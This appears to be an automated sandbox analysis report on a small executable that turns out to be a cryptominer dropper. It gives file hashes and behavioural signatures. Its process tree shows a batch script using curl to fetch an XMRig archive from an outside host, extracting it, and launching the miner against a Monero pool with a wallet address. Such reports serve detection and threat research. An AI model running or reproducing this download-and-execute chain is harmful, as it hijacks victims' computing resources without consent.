Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

11/03/2024, 21:08

240311-zy7ywsed31 10

11/03/2024, 21:06

240311-zx53xagd73 10

11/03/2024, 21:02

240311-zvwrfsec3x 10

11/03/2024, 21:01

240311-ztxx5aeb9x 10

11/03/2024, 20:59

240311-zs72psgc56 10

11/03/2024, 20:57

240311-zrmpdaeb3v 10

11/03/2024, 20:56

240311-zqzbsagb66 10

11/03/2024, 20:55

240311-zqlexsgb55 10

11/03/2024, 20:54

240311-zp4j4sgb43 10

11/03/2024, 20:53

240311-zplz3agb32 10

Analysis

  • max time kernel
    136s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/03/2024, 20:54

General

  • Target

    test.exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 13 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4216
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\b5rhiI6q.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3064
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:4484
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:2160
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:2588
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1292 --field-trial-handle=2588,i,4353937220825226770,7138584070663735671,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:3916

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\b5rhiI6q.bat

          Filesize

          421B

          MD5

          67d11b392feb0ad59fc11ff3e79dfeee

          SHA1

          7df5785988cb76c4893773614572c93baaa18717

          SHA256

          69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

          SHA512

          50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

        • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

          Filesize

          3.2MB

          MD5

          e27f13ffb2989f290f16f8edd1c80171

          SHA1

          352a34a66152f4998b8d9152356528f980de2ef5

          SHA256

          fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9

          SHA512

          549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a

        • C:\xmrig\xmrig-6.21.1\xmrig.exe

          Filesize

          7.9MB

          MD5

          7fe01842d8fec7b62705d27636354c7f

          SHA1

          6a471bb66cbf9c6e61be7bb75af5ff7d33f1d620

          SHA256

          aa5aa045006070e1781dd6bc25215d363ed1628741207b5f3afdf040ecf36c0c

          SHA512

          1efa8e7e0b5ff37ae3a9c0c52d67b0dd7aaa95713dc6854b032725f50240ee040100990afe93ebdcc9c4abb1ef06b9aecb0b39d4f0c8b09e02f020e064d27567

        • memory/2588-32-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-29-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-37-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-23-0x0000029265460000-0x0000029265480000-memory.dmp

          Filesize

          128KB

        • memory/2588-24-0x0000029266D60000-0x0000029266DA0000-memory.dmp

          Filesize

          256KB

        • memory/2588-25-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-26-0x0000029266DC0000-0x0000029266DE0000-memory.dmp

          Filesize

          128KB

        • memory/2588-27-0x0000029266DA0000-0x0000029266DC0000-memory.dmp

          Filesize

          128KB

        • memory/2588-28-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-36-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-30-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-31-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-35-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-33-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/2588-34-0x00007FF682CE0000-0x00007FF6837E4000-memory.dmp

          Filesize

          11.0MB

        • memory/4216-0-0x00000000001B0000-0x00000000001B8000-memory.dmp

          Filesize

          32KB

        • memory/4216-3-0x00007FFEAB180000-0x00007FFEABC41000-memory.dmp

          Filesize

          10.8MB

        • memory/4216-22-0x00007FFEAB180000-0x00007FFEABC41000-memory.dmp

          Filesize

          10.8MB